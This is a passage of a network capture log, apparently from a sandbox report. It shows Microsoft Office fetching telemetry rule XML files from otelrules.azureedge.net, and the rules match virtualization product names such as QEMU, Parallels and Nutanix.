2024-11-20 16:41:50 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5304f1e1-001e-005a-6c6b-3bc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164149Z-185f5d8b95csd4bwhC1NYCq7dc0000000afg0000000063cc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 16:41:50 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:49 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 5633ff77-c01e-0014-30eb-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164149Z-r1d97b99577hsvhhhC1TEByb1w000000039g00000000q488 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:51 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:51 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ccd0155-401e-0015-24f2-3a0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164151Z-r1d97b99577hsvhhhC1TEByb1w00000003d000000000c040 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:51 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:51 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:52 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164152Z-r1d97b99577kk29chC1TEBemmg000000095g00000000crrs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:52 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:51 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:52 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164152Z-185f5d8b95c68cvnhC1NYCfn7s0000000adg00000000u697 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:52 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:51 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:52 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164152Z-185f5d8b95c4hl5whC1NYCeex00000000a90000000013t8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:52 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:51 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:52 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164152Z-1777c6cb754mqztshC1TEB4mkc00000009u000000000ss2e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:52 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:53 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:53 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164153Z-185f5d8b95c4vwv8hC1NYCy4v40000000ag0000000012d7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:54 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:54 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:54 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 733c43f5-901e-007b-0e8c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164154Z-1777c6cb7549j9hhhC1TEBzmcc00000009t000000000crhu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:54 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:54 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:54 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 957844e9-801e-008c-4868-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164154Z-185f5d8b95cdtclvhC1NYC4rmc0000000ang00000000eyhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:54 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:54 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:54 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164154Z-1777c6cb754wcxkwhC1TEB3c6w00000009q000000000v0wu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:54 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:54 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:54 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164154Z-185f5d8b95cx9g8lhC1NYCtgvc00000002qg000000016zze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:54 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
